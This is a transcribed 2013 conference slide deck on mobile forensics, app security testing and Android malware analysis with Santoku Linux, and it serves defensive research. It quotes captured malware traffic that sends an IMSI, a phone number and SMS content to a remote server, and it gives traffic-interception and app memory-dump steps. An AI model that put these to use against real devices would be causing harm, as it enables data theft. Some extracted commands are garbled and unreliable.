Mobile security, forensics & malware analysis with Santoku Linux. * Copyright 2013 viaforensics, LLC. Proprietary Information.



Similar documents
Hacking your Droid ADITYA GUPTA

The OWASP Foundation

Beginners Guide to Android Reverse Engineering

Advanced ANDROID & ios Hands-on Exploitation

Blackbox Android. Breaking Enterprise Class Applications and Secure Containers. Marc Blanchou Mathew Solnik 10/13/

Mobile Application Hacking for Android and iphone. 4-Day Hands-On Course. Syllabus

Pentesting Android Apps. Sneha Rajguru

Mobile Malware and Spyware: Working Through the Bugs. Detective Cindy Murphy

Informatica forense. Mobile Forensics - Approfondimenti tecnici e particolarità degli smartphone

ABSTRACT' INTRODUCTION' COMMON'SECURITY'MISTAKES'' Reverse Engineering ios Applications

Reversing Android Malware

Mobile Malware Network View. Kevin McNamee : Alcatel-Lucent

Introduction to Android

AppUse - Android Pentest Platform Unified

SYLLABUS MOBILE APPLICATION SECURITY AND PENETRATION TESTING. MASPT at a glance: v1.0 (28/01/2014) 10 highly practical modules

Threema security assessment

Mobile Application Security and Penetration Testing Syllabus

Mobile Iron User Guide

Enterprise Application Security Workshop Series

Codeproof Mobile Security & SaaS MDM Platform

White Paper. Anywhere, Any Device File Access with IT in Control. Enterprise File Serving 2.0

Discovering Computers

Initial DUO 2 Factor Setup, Install, Login and Verification

Pentesting Mobile Applications

International Journal of Advance Research in Computer Science and Management Studies

Android EMM Enrollment

Android malware analysis InfoSec Institute IT Training and Information Security Resources

MASTER'S THESIS. Android Application Security with OWASP Mobile Top James King 2014

Connection Broker Managing User Connections to Workstations and Blades, OpenStack Clouds, VDI, and more. Security Review

Mobile Operating Systems & Security

Forensics II. Android reverse engineering Logs [repetition]

Mobile App User's Guide

Bypassing SSL Pinning on Android via Reverse Engineering

OS Security. Malware (Part 2) & Intrusion Detection and Prevention. Radboud University Nijmegen, The Netherlands. Winter 2015/2016

BlackBerry Universal Device Service. Demo Access. AUTHOR: System4u

Submitting UITests at the Command Line

STRONGER AUTHENTICATION for CA SiteMinder

Connection Broker Managing User Connections to Workstations, Blades, VDI, and more. Security Review

Penetration Testing for iphone Applications Part 1

Kaseya 2. User Guide. Version 1.0

HiDrive Intelligent online storage for private and business users.

Network security Exercise 9 How to build a wall of fire Linux Netfilter

How To Use Titanium Studio

It s 2 o clock: Who Has Your Data? Josh Krueger Chief Technology Officer Integrity Technology Solutions

Systems Manager Cloud Based Mobile Device Management

SysAid MDM User Guide for Android

Penetration Testing Android Applications

APPLICATION SECURITY: FROM WEB TO MOBILE. DIFFERENT VECTORS AND NEW ATTACK

The Incident Response Playbook for Android and ios

Soonr Workplace Enterprise Plan Overview

OWASP NZ Day 2011 Testing Mobile Applications

Tushar Dalvi Sr. Security Engineer at LinkedIn Penetration Tester. Responsible for securing a large suite mobile apps

Super Manager User Manual. English v /06/15 Copyright by GPC

Comodo Mobile Security for Android Software Version 3.0

When enterprise mobility strategies are discussed, security is usually one of the first topics

GO!Enterprise MDM Device Application User Guide Installation and Configuration for Android with TouchDown

Novell Filr. Mobile Client

Popular Android Exploits

Quick Start Guide. Version R9. English

Mobile App User's Guide

activecho Driving Secure Enterprise File Sharing and Syncing

User Manual. Gold Lock 3G Military Grade Encryption For Android OS 2.1 and Later

Mobile Application Security: Who, How and Why

Feature Matrix MOZO CLOUDBASED MOBILE DEVICE MANAGEMENT

the cross platform mobile apps dream Click to edit Master title style Click to edit Master text styles Third level Fourth level» Fifth level

Bell Mobile Device Management (MDM)

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

Smartphone Pentest Framework v0.1. User Guide

Acronis and Acronis Secure Zone are registered trademarks of Acronis International GmbH.

Installation & Upgrade Guide

OpenCV on Android Platforms

A Survey on Mobile Forensic for Android Smartphones

Android Packer. facing the challenges, building solutions. Rowland YU. Senior Threat Researcher Virus Bulletin 2014

Defending Behind The Device Mobile Application Risks

Networks and Security Lab. Network Forensics

Protecting against Mobile Attacks

How to enroll Android devices in SoMobile. Content Introduction... 1 Prerequisites... 1 Enrollment... 2

Brainloop Secure Dataroom Version QR Code Scanner Apps for ios Version 1.1 and for Android

Pentesting iphone Applications. Satishb3

Security Advice for Instances in the HP Cloud

Decryption. Palo Alto Networks. PAN-OS Administrator s Guide Version 6.0. Copyright Palo Alto Networks

Security and the Smartphone Revolution

Just EnCase. Presented By Larry Russell CalCPA State Technology Committee May 18, 2012

A Beginners Guide To Responsive, Mobile & Native Websites 2013 Enhance.ie.All Rights Reserved.

MOBILE MALWARE REPORT

Project X Mass interception of encrypted connections

Prevent Malware attacks with F5 WebSafe and MobileSafe. Alfredo Vistola Security Solution Architect, EMEA

F-Secure Internet Gatekeeper

Transcription:

Mobile security, forensics & malware analysis with Santoku Linux

PRESENTER - ANDREW HOOG CEO/Co-founder of viaforensics Andrew is a published author, computer scientist, and mobile security & forensics researcher. He has several patents pending and presents on mobile security topics to conferences, enterprise and government audiences.

VIAFORENSICS OVERVIEW viaforensics is a mobile security company founded in 2009. Bootstrapped with ~40 employees and a 10 person dedicated mobile security R&D team Some of our f/oss: YAFFS2 in TSK AFLogical OSE Santoku Linux...

SANTOKU - WHY? 1600 Desktop PC Portable PC 1200 Tablet # Units Shipped (millions) Smartphone 700 200 2012 Total: 1,201.1 2017 (Projected) Total: 2,250.3

SANTOKU - WHAT?

SANTOKU - HOW? Install Lubuntu 12.04 (precise) x86_64 Santoku-ize it

You should get (after reboot)

MOBILE FORENSICS

FORENSIC ACQUISITION TYPES Logical File system Physical Description Read device data via backup, API or other controlled access to data Description Copy of files of file system Description Bit-by-bit copy of physical drive Use cases More data than logical Use cases Most forensically sound technique Re-creating encrypted file system Increases chance of deleted data recovery Challenges Often very limited access to data Challenges Requires additional access to device Challenges Cannot pull hard drive on mobile devices Usually requires unlocked passcode Many file system files not responsive on cases FTL may not provide bad blocks Use cases Fast Data generally well structured

ios Logical Connect device (enter PIN if needed) ideviceback2 backup <backup dir> ideviceback2 unback <backup dir> View backup unpacked backup

ios Logical

iphone Backup Analyzer

Android Logical AFLogical OSE https://github.com/viaforensics/android-forensics Reads Content Providers Push to phone, run, store on SD Card Pull CSVs to Santoku for review

AFLogical OSE

Install, run, extract

Slap a GUI on that

MOBILE SECURITY

APP SELECTION Apps were selected based on popularity, number of downloads, or potential sensitivity of data Approximately 80 apps have been reviewed and organized into categories Category # apps reviewed Finance 10 Lifestyle 11 Productivity 6 Travel 5 Social Networking 6 Security 6 Other 6

2013 APP TESTING RESULTS 81 tested apps - 32 ios, 49 Android 100% 75% 65% 59% % found vulnerable ios 50% 45% Android 25% 20% 18% 15% Failed MiTM or SSL Stored Password (plaintext or hashed) Stored Sensitive app data in memory At least one "High" risk rating

Any.DO Business and personal task management app ios and Android Millions of users Many vulnerabilities, no response from company https://viaforensics.com/mobile-security/security-vulnerabilities-anydo-android.html

Any.DO Analysis - Forensics Locate Any.DO app directory adb pull /data/data/com.anydo Examine database/binary files Capture network traffic

Any.DO Analysis - Forensics

Any.DO Analysis - Memory SSH into iphone iproxy ; ssh Find app PID ps -ef grep <app-name> Dump RAM using gdb Script to extract RAM Extract and analyze scp ; grep

MOBILE MALWARE ANALYSIS

NQ MOBILE Sensitive data Encryption Security Contacts Websites visited Installed Apps Phone # IMEI/IMSI Android ID SMS (referenced) Email (referenced) Chinese Server #1: Ciphered, crackable Attempts to gain root access Tries to mount /system r+w Chinese Server #2: Encryption key included in data stream Generates fake anti-virus alerts Amazon EC2 Server: Plaintext

Bad News Android Malware, masquerades as an innocent advertising network Packaged in many legitimate apps, usually targeting the Russian market Has ability to download additional apps, and prompts the user to install them, posing as "Critical Updates". Uses this mechanism to spread known malware, typically Premium Rate SMS fraud. For more information see the report by Lookout: https://blog.lookout.com/blog/2013/04/19/thebearer-of-badnews-malware-google-play/

apktool apktool is a tool for reverse engineering Android apk, it disassembles the code to.smali files, decoding also the resources contained into the apk. It can also repackage the applications after you have modified them. We can run it on a Badnews sample: $ apktool d ru.blogspot.playsib.savageknife.apk savage_knife_apktool/ I: Baksmaling... I: Loading resource table... I: Loaded. I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/santoku/apktool/framework/1.apk I: Loaded. I: Regular manifest package... I: Decoding file-resources... I: Decoding values / XMLs... I: Done. I: Copying assets and libs Source: https://code.google.com/p/android-apktool/

apktool -> smali We can grep for known sensible method calls and strings $ grep -R getdeviceid../smali/com/mobidisplay/advertsv1/advservice.smali: invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; $ grep -R BOOT_COMPLETED../AndroidManifest.xml: <uses-permission android:name="android.permission.receive_boot_completed" />./AndroidManifest.xml: <action android:name="android.intent.action.boot_completed" />./smali/com/mobidisplay/advertsv1/bootreceiver.smali: const-string v2, "android.intent.action.boot_completed"

apktool -> smali We can manually analyze the disassembled smali code provided by apktool. For example here we see a broadcast receiver that will listen for BOOT_COMPLETED intents and react to them starting a service in the application.

BadNews Malware Sample -> Dex2Jar -> JD-GUI Contagio MiniDump Malware Repository contagiominidump.blogspot.com

Korean Banking Malware Targets Techniques C&C nh.smart.zip encryption flags LAMP Server (with vulns) com.shinhan.sbanking com.hanabank.ebk.channel. android.hananbank Intercept pkg (un)install Contact Provider Intercept SMS Phone Receiver com.webcash.wooribank Device admin SMS Reciever

Korean Banking Malware (Analysis) axmlprinter2 apktool Dynamic Unzip Reverse engineer apktool d -f /home/santoku/desktop/aaanoflags.apk sudo iptables --t nat --A PREROUTING --j REDIRECT --i wlan0 --p tcp --m tcp ----to-ports 8080 Re-compile apktool b aaa-noflags/ test. apk mitmdump ---vvv -T ----host -z --b 192.168.10.1 axmlprinter2 AndroidManifest. xml dex2jar

Korean Banking Malware (mitmdump) SEMRECEIVER_DATA =>http://103.20.193.59/index.php? m=api&a=smsreceiver&imsi=310260000000000&number=15555215554&from=555&content=tes T+Bank+Credentials Send Heartbeat => http://103.20.193.59/index.php? m=api&a=heartbeat&newclient=1&number=15555215554&imsi=310260000000000&issms=1&iscal l=0&capp=&sapp=%23%ed%95%98%23%ec%8b%a0

COLLECT Forensics Security Network/System Sensors

A LITTLE HELP, PLEASE. HOWTOs New/existing tool development.deb package maintenance Forums, spreading the word

Andrew Hoog 312-878-1100 ahoog@viaforensics.com Keep in touch with us on Twitter at @viaforensics or at viaforensics.com.